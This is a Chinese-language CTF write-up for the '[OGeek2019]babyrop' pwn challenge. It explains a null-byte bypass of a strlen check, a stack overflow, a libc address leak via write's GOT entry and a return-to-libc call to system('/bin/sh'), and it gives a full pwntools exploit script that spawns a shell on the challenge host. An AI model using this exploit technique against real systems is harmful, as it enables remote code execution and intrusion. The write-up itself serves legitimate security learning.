[OGeek2019]babyrop


找了半天發現瀏覽器太小沒有看見給的libc.so鏈接

首先是字符串的比較

read是讀到'\n'停止,而strlen是到'/0'就停止

所以我們可以讓第一個字符為'\x00'繞過字符串比較

然后就是把v5覆蓋得大一點 好讓后面的read有機會溢出

 

然后就是libc.so泄露

libc.so可以給我們提供一套函數的地址,並且在里面雖有函數的相對位置都是固定的。意思是如果我們知道了每一個函數的真實地址,我們可以根據給出的libc.so計算出其他函數的真實地址(實際上就是要得到system_addr)

這里選擇泄露write_addr,之后計算出system_addr

同樣libc.so里面會有'/bin/sh'這樣的字符串,計算出真實地址拿出來用就是了

補充:因為對於傳參的引用不會使用pop而是直接利用ebp指向,所以ret后面緊跟下一個要ret函數的地址(如果沒有想要跳轉的函數,用4個/8個字符填充之后才能跟傳參) 這里第20行就是write_plt之后緊跟main_addr進行第二次溢出調用system

 

from pwn import * 

io=remote('node3.buuoj.cn',28972) # io=process('./pwn') elf=ELF('./pwn') libc=ELF('./libc-2.23.so') system_libc=libc.symbols['system'] binsh_libc=libc.search('/bin/sh').next() write_libc=libc.symbols['write'] write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=0x8048825 payload='\x00'+'\xff'*10 io.sendline(payload) io.recvuntil("Correct\n") payload='a'*(0xe7+4)+p32(write_plt)+p32(main_addr) # ret1 ret2  payload+=p32(1)+p32(write_got)+p32(4) #write par1 par2 par3  io.sendline(payload) write_addr=u32(io.recv(4)) base=write_addr-write_libc system_addr=system_libc+base binsh_addr=binsh_libc+base payload='\x00'+'\xff'*10 io.sendline(payload) io.recvuntil("Correct\n") payload='a'*(0xe7+4)+p32(system_addr)+p32(main_addr) payload+=p32(binsh_addr) io.sendline(payload) io.interactive() # rdi, rsi, rdx, rcx, r8, r9 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM